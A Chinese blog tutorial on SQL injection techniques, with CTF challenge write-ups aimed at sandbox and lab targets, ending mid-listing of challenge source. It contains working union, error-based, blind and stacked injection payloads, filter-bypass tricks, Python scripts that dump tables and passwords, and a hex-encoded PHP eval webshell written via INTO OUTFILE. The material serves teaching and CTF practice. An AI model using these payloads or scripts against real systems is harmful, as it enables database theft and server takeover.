freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

SQL注入部分讲解
2021-02-27 10:58:36

若有错误,还请斧正。

1.SQL注入

攻击者可在正常的SQL语句中注入自己的语句,使得原SQL语句改变并执行则为SQL注入.

整型注入

注入点数据类型为整型则为整型注入,如下

image-20201221111530311.png

image-20201221111546952.png

输入的id不同,会从数据库中取出不同的结果。我们输入的id被直接拼接进sql语句中执行,这就使得我们可以直接接管sql。通过在id处注入sql语句来获取各种信息.

在这里我们可以构造联合查询payload来获取信息,首先需要判断查询语句的字段数

payload = 1 order by 一个数字(比如3),当查询字段数大于等于这个数字时页面会给出正确执行的结果。

image-20201221112033369.png

当查询字段数小于这个数字时页面会给出错误的执行结果

image-20201221112114696.png

轮番操作后就可以确定在此处的查询字段数为3.而后便可以通过联合查询来确定结果显示位。

image-20201221112240089.png

对了。此时mysql执行的sql语句为select * from message where id=0 union select 1,2,3,在id部分我们需要一个数据库中没有的数据(比如0),

image-20201221112637476.png

确定了结果显示位为联合查询的数字3处,由此可借由mysql系统库(information_schema)来获取表,如下

payload = 0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

image-20201221112926354.png

获取f14g表的列信息如下

payload = 0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='f14g'

image-20201221113051857.png

mysql的group_concat函数可以将查询结果合并为一个结果

image-20201221113220088.png

在获取了表与列的信息和即可查询该表的具体数据

image-20201221113324626.png

字符型注入

字符型注入与整型注入差别不大,两者最主要的差别在于字符型注入需要闭合引号.当我们注入一个引号时,mysql在执行时引号不成对,则会出错。

image-20201221113848368.png

通过各种手段处理引号后则可以正常构造与整型注入类似的payload来获取各种信息.对于sql语句后面自带的引号可以采取注释、闭合等手段。

image-20201221114228657.png

image-20201221114319449.png

后面与整型相同,则不再赘述

引号处理

admin' #
admin' --+
admin' and '1
等等

报错注入

在程序不输出查询结果,但会输出mysql错误信息时则可通过报错注入来获取信息.报错注入不需要像联合注入一样获取显示位,因为错误信息所在即是显示位.

image-20201221114734259.png

报错注入通常使用以下函数

updatexml

报错用法updatexml(1,concat(0x7e,sql语句),1)

payload = admin'and updatexml(1,concat(0x7e,database(),0x7e),1) #

image-20201221114951376.png

extractvalue

报错用法extractvalue(1,concat(0x7e,sql语句))

payload = admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

image-20201221115656288.png

floor

报错用法select concat(sql语句,floor(rand()*2)),count(*) from table_name group by 1,概率报错

image-20201221142606571.png

select 123 from (select concat(sql语句,floor(rand()*2))as x,count(*) from table_name group by x)a

rand函数可在0-1之间生成一个随机数,而floor则是获得小于等于传入值的整数

image-20201221134756386.png

当我们使用rand()*2时则可以获得一个0-2之间的随机数,倘若这时使用floor则可以获得一个0或者1

image-20201221134953403.png

mysql可以使用group by 对结果进行分组,将结果相同的划为一组,count(*)可以统计结果数量

image-20201221140111500.png

payload = admin' and (select 123 from (select concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),floor(rand()*2))as x,count(*) from information_schema.tables group by x)a) --+

image-20201221151103194.png

盲注

注入结果无任何回显即是盲注

布尔盲注

根据注入执行结果的布尔值(true,或false),页面显示不同,由此作为判断注入结果的依据即是布尔盲注

image-20201221151621075.png

image-20201221151642971.png

我们可以通过构造sql语句来逐步判断后端的结果,如下

image-20201221152206255.png

当页面显示wow时,就说明database第一个字符为s,由此,进一步注入判断出当前数据库全名为sqli.

为提高注入效率,可编写脚本如下(已注释掉highlight_file(__FILE__))

#Author: 4ut15m
import requests

url = "http://192.168.1.166/test.php?username=admin"
flag = "wow"
charset = "abcdefghijklmnopqrstuvwxyz_,{}0123456789 "

def tables():
    table = "tables:"
    for i in range(1,100) :
        for c in charset :
            payload = "'and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}".format(str(i),c)
            res = requests.get(url=url+payload).text
            
            if flag not in res :
                continue
            elif c == ' ' :
                table += c
            else :
                table += c
                print table
                break
        if table[-1] == ' ':
            break

def columns(table):
    column = "columns:"
    for i in range(1,100) :
        for c in charset :
            payload = "'and substr((select group_concat(column_name) from information_schema.columns where table_name='{}'),{},1)='{}".format(table,str(i),c)
            res = requests.get(url=url+payload).text
            
            if flag not in res :
                continue
            elif c == ' ' :
                column += c
            else :
                column += c
                print column
                break
        if column[-1] == ' ' :
            break

def dumps(table,column):
    dump = "result:"
    for i in range(1,100):
        for c in charset:
            payload = "'and substr((select group_concat({}) from {}),{},1)='{}".format(column,table,str(i),c)
            res = requests.get(url=url+payload).text

            if flag not in res :
                continue
            elif c == ' ' :
                dump += c
            else :
                dump += c
                print dump
                break
        if dump[-1] == ' ' :
            break

#tables()
#column('f14g')
dumps('f14g','f14g')

该脚本相比于手工注入,效率有了很大的提升,但是该脚本的缺点还是很明显 --- 因为每一个字符都要进行判断,从而导致运行速度不够快

故我们可以使用二分法编写一个脚本,如下

#Author: 4ut15m
import requests

url = "http://192.168.1.166/test.php?username=admin"
flag = 'wow'

def tables():
    table = "tables:"
    for i in range(1,30) :
        l = 33
        h = 126

        while True :
            m = (l+h)/2
            if m == l or m == h :
                table += chr(m)
                print table
                break

            payload = "'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{} --+".format(str(i),str(m))
            res = requests.get(url=url+payload).text

            if flag in res :
                h = m
            else :
                l = m
            
            continue
        
def columns(table):
    column = "columns:"
    for i in range(1,100) :
        l = 33
        h = 126

        while True :
            m = (l+h)/2
            if m ==l or m==h :
                column += chr(m)
                print column
                break

            payload = "'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='{}'),{},1))<{} --+".format(table,str(i),str(m))
            res = requests.get(url=url+payload).text

            if flag in res :
                h = m
            else :
                l = m

            continue

def dumps(table,column):
    dump = "result:"
    for i in range(1,100) :
        l = 33
        h = 126

        while True:
            m = (l+h)/2
            if m == l or m == h :
                dump += chr(m)
                print dump
                break

            payload = "'and ascii(substr((select {} from {}),{},1))<{} --+".format(column,table,str(i),str(m))
            res = requests.get(url=url+payload).text

            if flag in res :
                h = m
            else :
                l = m

            continue

#tables()
#columns('f14g')
dumps('f14g','f14g')

image-20201221165855506.png

延时盲注

在注入结果不会被输出,并且不管注入成功还是失败页面始终只有一个反应时,则可进行延时盲注,通过mysql执行需要一定时间的函数来作为注入正确与否的判断标准.

我的环境出了些问题,故这里用的CTFHUB->技能树->时间盲注

正常发起请求时响应时间如下,51ms

image-20201221180115151.png

sleep配合if函数,延时payloadid=1 and if(1,sleep(1),1)

延时后的响应时间如下(依照不同环境,响应时间不同),1047ms = 1.047s

image-20201221180300140.png

故可以在if的第一个参数处构造sql语句,再通过响应时间来判断结果是否正确

image-20201221180423128.png

猜解表名payload1 and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{第几个字符},1)<{字符ascii码},sleep(1),1)

猜解列名payload``1 and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='表名'),{第几个字符},1)<{字符ascii码},sleep(1),1)`

获取值 payload``1 and if(ascii(substr((select 列名 from 表名),{第几个字符},1)<{字符ascii码},sleep(1),1)`

为提高注入效率,编写脚本如下

#Author: 4ut15m
import requests

url = "http://challenge-764ecdbaa2a9f6c8.sandbox.ctfhub.com:10080/?id=1 "

def tables():
    table = "tables:"
    for i in range(1,30):
        l = 33
        h = 126

        while True:
            m = (l+h)/2
            if m == l or m == h:
                table += chr(m)
                print table
                break

            payload = "and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},sleep(0.2),0) --+".format(str(i),str(m))
            
            try :
                res = requests.get(url+payload, timeout=0.2).text
            except requests.exceptions.ReadTimeout:
                h = m
            else:
                l = m
            
            continue 

def columns(table):
    column = "columns:"
    for i in range(1,30):
        l = 33
        h = 126

        while True:
            m = (l+h)/2
            if m == l or m == h:
                column += chr(m)
                print column
                break

            payload = "and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='{}'),{},1))<{},sleep(0.2),0) --+".format(table,str(i),str(m))
            
            try :
                res = requests.get(url+payload, timeout=0.2).text
            except requests.exceptions.ReadTimeout:
                h = m
            else:
                l = m
            
            continue 

def dumps(table, column):
    dump = "result:"
    for i in range(1,100):
        l = 33
        h = 126

        while True:
            m = (l+h)/2
            if m == l or m == h:
                dump += chr(m)
                print dump
                break

            payload = "and if(ascii(substr((select {} from {}),{},1))<{},sleep(0.2),0) --+".format(column, table, str(i), str(m))
            
            try :
                res = requests.get(url+payload, timeout=0.2).text
            except requests.exceptions.ReadTimeout:
                h = m
            else:
                l = m
            
            continue 

#tables()
#columns('flag')
dumps('flag', 'flag')

image-20201221181706331.png

延时盲注流程大抵如此,再罗列一些延时注入的函数如下

benchmark(count,expr),执行expr语句count次
只要count次数够大,就可以达到延时的效果

get_lock(str,timeout)
若在一个会话中锁定了str,那么在其他会话中再想锁定该str时会进行延时

rlick
expr rlike pat
regexp_like的同义词,使expr与正则表达式pat进行匹配,若匹配则返回1,不匹配则返回0

image-20201221185816811.png

image-20201221190603347.png

笛卡尔乘积查询
一个set X内有a个对象,另一个set Y内有b个对象,X*Y=a*b
通过构造笛卡尔乘积查询,使mysql执行很多查询,达到延时效果

image-20201221192411914.png

参考文章离怀秋

堆叠注入

通过分号(;)来结束一条语句并同时执行其他sql语句即是堆叠注入.

image-20201221195849883.png

image-20201221200037644.png

可以通过mysql预编译语句来执行查询语句

image-20201221200541231.png

image-20201221200922050.png

image-20201221200944310.png

下面给一实例

强网杯2019 随便注

image-20201221201210882.png

image-20201221201324087.png

构造堆叠注入payload

查询数据库信息1';show databases;

image-20201221201409653.png

查询数据库表信息1';show tables from supersqli;

image-20201221201503314.png

也可1';set @a=0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;prepare b from @a;execute b;

image-20201221204152220.png

image-20201221202009163.png

大小写绕过限制

1';Set @a=0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;Prepare b from @a;execute b;

image-20201221204233672.png

image-20201221202127102.png

再构造

1';show columns from `1919810931114514`;
纯数字表名,需要用反引号包裹

image-20201221203615263.png

也可

1';Set @a=0x73656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d273139313938313039333131313435313427;Prepare b from @a;execute b;

image-20201221202654127.png

image-20201221202601595.png

最后构造

1';Set @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;Prepare b from @a;execute b;

image-20201221203750374.png

image-20201221203724003.png

参考文章backlion

二次注入

在一个输入点将用户输入的含有特殊字符的字符串存入数据库,在某一个输出点将存入的字符串取出时未进行转义便拼接进另一处sql语句,所导致的sql注入即是二次注入.如下

image-20201223154924155.png

image-20201223155253134.png

实例

网鼎杯2018 Unfinish

只有一个登录、注册功能,成功登录后便进入主页!

image-20201223155832429.png
尝试注册稀奇古怪的用户名

image-20201223160640087.png

注册admin'没有成功,尝试闭合单引号

image-20201223160731934.png

注册成功,登录查看.确定是sql注入

image-20201223160818122.png

image-20201223161248096.png

在本地测试后发现我们注入在insert中的语句可构成布尔型结果,故可进行布尔盲注

image-20201223180624972.png

fuzz一下哪些字符被过滤,哪怕bp设置1线程,也会被buuctf的限制请求干扰到,所以写脚本

#Author: 4ut15m
import requests
import time

url = "http://b0f328cb-1677-4a21-8261-e8b465fed7a9.node3.buuoj.cn/register.php"

def fuzz(dic):
    post = {"email" : "admin@admin.com",
            "username" : dic,
            "password" : "admin"
            }
    res = requests.post(url, data=post).text
    if "nnnnoooo!!!" in res:
        print dic

with open('/usr/share/wordlist/sql.txt') as f:
    while True:
        dic = f.readline()
        if dic == '':
            break
        else :
            fuzz(dic.strip())
            time.sleep(0.2)

image-20201223165157188.png

information被过滤了我们无法获取到表名等信息(sys数据库不一定存在),这里猜表名为flag,直接select * from flag因为并不能确定列名(先测试了select flag from flag ,会出错)

先来确定我们的布尔盲注

image-20201223180112655.png

image-20201223180142281.png

image-20201223180201295.png

image-20201223180226943.png

没问题,写脚本

#Author: 4ut15m
import requests
import time


flag = """<span class="user-name">
            1          </span>"""

def dumps():
    url = "http://b0f328cb-1677-4a21-8261-e8b465fed7a9.node3.buuoj.cn/register.php"
    login_url = "http://b0f328cb-1677-4a21-8261-e8b465fed7a9.node3.buuoj.cn/login.php"
    dump = ""
    c = 1
    for i in range(1,200):
        l = 33
        h = 126
        while True:
            m = (l+h)/2
            if m == l or m == h:
                dump += chr(m)
                print dump
                break

            payload = "admin'or (ascii(substr((select * from flag)from {} for 1)))<{} and '1".format(str(i),str(m))
            email = "4ut15m{}@admin.com".format(str(c))
            post = {"email" : email,
                    "username" : payload,
                    "password" : "admin"
                    }
            res = requests.post(url,data=post,allow_redirects=False)
            if res.status_code == 302:
                post = {"email" : email,
                        "password" : "admin"
                        }
                time.sleep(0.1)
                res = requests.post(login_url,data=post)
                res.encoding = "utf-8"

                if flag in res.text:
                    h = m
                else :
                    l = m
                time.sleep(0.1)
            c += 1
            continue

dumps()

image-20201223181051899.png

2.题

CTFHUB

2017-赛客夏令营-Web injection

image-20201221205010462.png

image-20201221205024455.png

整型注入

判断列数1 order by 2,1order by 3

image-20201221205111905.png

image-20201221205123687.png

获取回显位0 union select 1,2

image-20201221205214187.png

表名0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

image-20201221205309578.png

字段名0 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'

image-20201221205409883.png

爆值0 union select 1,flag from flag

image-20201221205455802.png

BUUCTF

WUSTCTF2020 颜值成绩查询

image-20201222102842534.png

经过一番测试发现,stunum为数字布尔注入.

image-20201222103041528.png

image-20201222103132415.png

经fuzz,发现select被过滤,但可大写select绕过

0^(ascii(substr((Select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),1,1))>1)

image-20201222104326421.png

0^(ascii(substr((Select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),1,1))<1)

image-20201222104359298.png

故编写脚本如下

#Author: 4ut15m
import requests
import time

url = "http://3926d327-7eaf-4dc6-8f15-6be392a5ea4d.node3.buuoj.cn/?stunum="
flag = "Hi admin, your score is: 100"


def tables():
    table = "tables:"
    for i in range(1,100):
        l = 33
        h = 126

        while True:
            m = (l+h)/2
            if m == l or m == h:
                table += chr(m)
                print table
                break

            payload = "0^(ascii(substr((Select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),{},1))<{})".format(str(i),str(m))

            res = requests.get(url+payload).text
            time.sleep(0.5)
            if flag in res :
                h = m
            else :
                l = m

            continue

def columns(table):
    column = "columns:"
    for i in range(1,100):
        l = 33
        h = 126

        while True:
            m = (l+h)/2
            if m == l or m == h:
                column += chr(m)
                print column
                break

            payload = "0^(ascii(substr((Select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='{}'),{},1))<{})".format(table,str(i),str(m))

            res = requests.get(url+payload).text
            time.sleep(0.5)
            if flag in res :
                h = m
            else :
                l = m

            continue

def dumps(table, column):
    dump = "result:"
    for i in range(1,100):
        l = 33
        h = 126

        while True:
            m = (l+h)/2
            if m == l or m == h:
                dump += chr(m)
                print dump
                break

            payload = "0^(ascii(substr((Select/**/{}/**/from/**/{}),{},1))<{})".format(column,table,str(i),str(m))

            res = requests.get(url+payload).text
            time.sleep(0.5)
            if flag in res :
                h = m
            else :
                l = m

#tables()
#columns('flag')
dumps('flag','value')

image-20201222105944487.png

BJDCTF 2nd 简单注入

访问robots.txt发现提示文件hint.txt

image-20201222094154780.png

fuzz过后发现过滤了以下关键字

image-20201222094445759.png

image-20201222094813700.png

单、双引号皆被过滤。要想注入语句首先需要逃逸单引号,这里很简单提交username=\即可将sql语句自带的一个单引号转义,进而逃逸出一个引号.而后在password处构造语句来注入数据

select * from users where username='\' and password='$_POST["password"]'

and被过滤,但是or可用,通过or + 异或操作使执行结果出现不同布尔值,发现页面响应信息不同.

image-20201222095405698.png

image-20201222095426326.png

测试payloadusername=\&password=or/**/0^(ascii(substr(username,1,1))<1)#username=\&password=or/**/0^(ascii(substr(username,1,1))>1)#

image-20201222101854201.png

image-20201222101936170.png

故编写脚本如下

#Author: 4ut15m
import requests
import time

url = "http://9514a6bc-53b1-4a55-a1e2-aaf9cbe88778.node3.buuoj.cn/index.php"

flag = "BJD needs to be stronger"

def getuser():
    username = ""
    for i in range(1,100):
        l = 33
        h = 126
        while True:
            m = (l+h)/2
            if m == l or m == h :
                username += chr(m)
                print username
                break

            payload = "or/**/0^(ascii(substr(username,{},1))<{})#".format(str(i),str(m))
            post = {'username' : '\\',
                    'password' : payload
                    }
            res = requests.post(url,data=post).text 
            time.sleep(0.5)
            if flag in res :
                h = m
            else :
                l = m
            
            continue

def getpass():
    passwd = ""
    for i in range(1,100):
        l = 33
        h = 126
        while True:
            m = (l+h)/2
            if m == l or m == h :
                passwd += chr(m)
                print passwd
                break

            payload = "or/**/0^(ascii(substr(password,{},1))<{})#".format(str(i),str(m))
            post = {'username' : '\\',
                    'password' : payload
                    }
            res = requests.post(url,data=post).text 
            time.sleep(0.5)
            if flag in res :
                h = m
            else :
                l = m
            
            continue

#getuser()
getpass()

image-20201222102156379.png

SUCTF 2018 MultiSQL

正常注册后登录

image-20201222143502718.png

编辑头像处,可以上传图片

image-20201222143603634.png

用户信息与注册处存在sql注入.前者为堆叠注入、后者为二次注入。这里使用堆叠注入写入webshell

payloadid=2;set/**/@a=0x73656c65637420223c3f70687020406576616c28245f504f53545b27636d64275d293b3f3e2220696e746f206f757466696c6520272f7661722f7777772f68746d6c2f66617669636f6e2f7368656c6c2e70687027;prepare/**/b/**/from/**/@a;execute/**/b;

image-20201222144254054.png

image-20201222144319914.png

CISCN2019 day2 easyweb

在robots.txt中发现备份文件.下载

//image.php
<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

首先需要思考单引号的闭合问题。

因为addslashes的存在无法直接使用引号闭合,也无法使用\来逃逸单引号。但是代码11-12行对传入数据的替空处理可做利用。

image-20201222154353186.png

image-20201222154410886.png

构造一个\0即可逃逸单引号。(\0经过addslashes处理变成\\0,再经过str_replace的处理,将\0替换为空,则得到一个\)

image-20201222154607017.png

image-20201222154625425.png

image-20201222154731027.png

image-20201222154750788.png

故,可构造payload,根据页面响应内容进行布尔判断.

二分脚本

#-*- coding:utf-8 -*-
#Author: 4ut15m
#考点: addslashes+str_replace的单引号逃逸
import requests
import urllib
import time

url = "http://b3f400c8-fa7d-4375-9716-f007bf7a7f42.node3.buuoj.cn/image.php?id=1\\0&path="

def urlencode(string):
    return urllib.quote(string)

def tables():
    table = "tables:"
    for i in range(1,100):
        l = 33
        h = 126

        while True :
            m = (l+h)/2
            if m == l or m == h :
                table += chr(m)
                print table
                break

            payload = urlencode("and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{} #".format(str(i),str(m)))
            res = requests.get(url+payload).text
            
            time.sleep(0.2)
            if len(res) > 0:
                h = m
            else :
                l = m

            continue

def columns(table):
    column = "columns:"
    for i in range(1,100):
        l = 33
        h = 126

        while True :
            m = (l+h)/2
            if m == l or m == h :
                column += chr(m)
                print column
                break

            payload = urlencode("and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name={}),{},1))<{} #".format(table,str(i),str(m)))
            res = requests.get(url+payload).text
            
            time.sleep(0.2)
            if len(res) > 0:
                h = m
            else :
                l = m

            continue
            
def dumps(table, column):
    dump = "result:"
    for i in range(1,100):
        l = 33
        h = 126

        while True :
            m = (l+h)/2
            if m == l or m ==h :
                dump += chr(m)
                print dump
                break

            payload = urlencode("and ascii(substr((select group_concat({}) from {}),{},1))<{} #".format(column,table,str(i),str(m)))
            res = requests.get(url+payload).text

            if len(res) > 0 :
                h = m
            else :
                l = m

            continue

#tables()
#columns('0x7573657273')
dumps('users','username,0x7e,password')

image-20201222161522752.png

登录

image-20201222161603982.png

上传常规shell,后缀不能为php,使用phtml绕过

image-20201222161823935.png

查看该文件,是用户的上传记录,记录了上传的文件名

image-20201222161846535.png

考虑修改文件名为shell,因为文件名会检测关键字php,所以使用php短标签

image-20201222162002457.png

再访问日志文件

image-20201222162031585.png

image-20201222162111840.png

RCTF2015 EasySQL

程序只有几个功能:注册、登录、修改密码、查看文章

在注册时发现有过滤一些敏感词,fuzz如下

image-20201224150431333.png

测试后发现注册点username处存在二次注入

image-20201224145015285.png

image-20201224145031520.png

过滤了and(忽略大小写)但没过滤&&,尝试进行报错注入

admin4"&&updatexml(1,concat(0x7e,database()),1)#

image-20201224145258540.png

admin4"&&updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1)#

image-20201224150729288.png

admin4"&&updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),1)#

image-20201224151027731.png

admin4"&&updatexml(1,concat(0x7e,(select(flag)from(flag))),1)#, flag not here

老折磨怪了

image-20201224151318003.png

admin4"%26%26updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1)#

image-20201224151505263.png

通过这几次的结果可以看出,输出结果有长度限制,但是这不妨碍我们猜到字段为real_flag_1s_here

image-20201224151831050.png

常用的字符截取函数都被过滤了

left
right
substr
substring

长度690,真flag藏在里面,可以

image-20201224152216088.png

先尝试将所有结果翻转,可以看到是flag的一部分

admin4"&&updatexml(1,concat(0x7e,(select(reverse(group_concat(real_flag_1s_here)))from(users))),1)#

image-20201224152416831.png

需要想办法取剩下的一部分.这里尝试通过正则获取结果,rlike被过滤了,但是可以使用rlike的同名函数regexp

admin4"&&updatexml(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^flag'))),1)#

image-20201224152903347.png

两者组合

image-20201224153137359.png

给个半自动脚本

#Author: 4ut15m
import requests
import sys

s = requests.session()

def rushB(payload):
    register_url = "http://7561369f-e046-47fc-9460-2e8efb33bd91.node3.buuoj.cn/register.php"
    login_url = "http://7561369f-e046-47fc-9460-2e8efb33bd91.node3.buuoj.cn/login.php"
    changepwd_url = "http://7561369f-e046-47fc-9460-2e8efb33bd91.node3.buuoj.cn/changepwd.php"

    regist = {"username" : payload, 
              "password" : "4ut15m",
              "email" : "4ut15m"
              }

    requests.post(url=register_url, data=regist)

    login = {"username" : payload,
             "password" : "4ut15m"
            }
    s.post(url=login_url, data=login)

    changepwd = {"oldpass" : "",
                 "newpass" : ""
                }
    res = s.post(url=changepwd_url, data=changepwd).text
    print res


rushB(sys.argv[1])

# payload1 = "admin4\"&&updatexml(1,concat(0x7e,(select(reverse(group_concat(real_flag_1s_here)))from(users))),1)#"
# payload2 = "admin4\"&&updatexml(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^flag'))),1)#"

# python exp.py payload1/payload2

NCTF2019 SQLi

给了sql语句

image-20201224155622250.png

hint

image-20201224161823882.png

拿到密码即可getflag,ban了很多字符,截取字符的函数substr不能用,需要()的函数也都不能用

但是这里可以使用正则匹配来曲线救国

首先,使username=\来逃逸引号,而后构造payload使得结果为true和false查看页面不同

username=\&passwd=||/**/0;%00,这里的%00并非真实的%00而是ascii码为0的字符,用该字符截断sql语句后面的引号(注释符被过滤)

image-20201224162759644.png

image-20201224162653924.png

当查询语句为真时,页面会进行重定向

image-20201224162850742.png

image-20201224162956768.png

可以将状态码作为判断正确与否的标准

故编写脚本如下

#Author: 4ut15m
import requests
import time

url = "http://654b7541-15d5-422a-8a66-43aa2b6c5d0c.node3.buuoj.cn/index.php"
charset = "abcdefghijklmnopqrstuvwxyz_0123456789-"

def dump():
    passwd = ""
    while True:
        for c in charset :
            payload = '||/**/passwd/**/regexp/**/"^{}";{}'.format(passwd+c,chr(0))
            post = {"username" : "\\",
                    "passwd" : payload
                    }

            res = requests.post(url, data=post, allow_redirects=False)
            time.sleep(0.1)
            if res.status_code == 302 :
                passwd += c
                print passwd
                break
           
dump()

image-20201224164426928.png

CISCN2019 华北赛区 Day1 Web5 CyberPunk

image-20201224165755390.png

读取源码

image-20201224165824526.png

//index.php
<?php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
    if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
        echo('no way!');
        exit;
    }
    @include($file);
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>index</title>
<base href="./">
<meta charset="utf-8" />

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
	<div class="container">
        <h2>2077发售了,不来份实体典藏版吗?</h2>
        <img class="logo" src="./assets/img/logo-en.png"><!--LOGOLOGOLOGOLOGO-->
        <div class="row">
			<div class="col-md-8 col-md-offset-2 centered">
                <h3>提交订单</h3>
                <form role="form" action="./confirm.php" method="post" enctype="application/x-www-urlencoded">
                    <p>
                    <h3>姓名:</h3>
                    <input type="text" class="subscribe-input" name="user_name">
                    <h3>电话:</h3>
                    <input type="text" class="subscribe-input" name="phone">
                    <h3>地址:</h3>
                    <input type="text" class="subscribe-input" name="address">
                    </p>
                    <button class='btn btn-lg  btn-sub btn-white' type="submit">我正是送钱之人</button>
                </form>
            </div>
        </div>
    </div>
</div>

<div id="f">
    <div class="container">
		<div class="row">
            <h2 class="mb">订单管理</h2>
            <a href="./search.php">
                <button class="btn btn-lg btn-register btn-white" >我要查订单</button>
            </a>
            <a href="./change.php">
                <button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
            </a>
            <a href="./delete.php">
                <button class="btn btn-lg btn-register btn-white" >我不想要了</button>
            </a>
		</div>
	</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>
<!--?file=?-->
//confirm.php
<?php

require_once "config.php";
//var_dump($_POST);

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = $_POST["address"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if($fetch->num_rows>0) {
        $msg = $user_name."已提交订单";
    }else{
        $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
        $re = $db->prepare($sql);
        $re->bind_param("sss", $user_name, $address, $phone);
        $re = $re->execute();
        if(!$re) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单提交成功";
    }
} else {
    $msg = "信息不全";
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>确认订单</title>
<base href="./">
<meta charset="utf-8"/>

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
	<div class="container">
        <img class="logo" src="./assets/img/logo-zh.png">
        <div class="row">
            <div class="col-md-8 col-md-offset-2 centered">
                <?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
                <a href="./index.php">
                <button class='btn btn-lg  btn-sub btn-white'>返回</button>
                </a>
            </div>
        </div>
    </div>
</div>

<div id="f">
    <div class="container">
		<div class="row">
            <p style="margin:35px 0;"><br></p>
            <h2 class="mb">订单管理</h2>
            <a href="./search.php">
                <button class="btn btn-lg btn-register btn-white" >我要查订单</button>
            </a>
            <a href="./change.php">
                <button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
            </a>
            <a href="./delete.php">
                <button class="btn btn-lg btn-register btn-white" >我不想要了</button>
            </a>
		</div>
	</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>
//config.php
<?php

ini_set("open_basedir", getcwd() . ":/etc:/tmp");

$DATABASE = array(

    "host" => "127.0.0.1",
    "username" => "root",
    "password" => "root",
    "dbname" =>"ctfusers"
);

$db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);

//search.php
<?php

require_once "config.php"; 

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
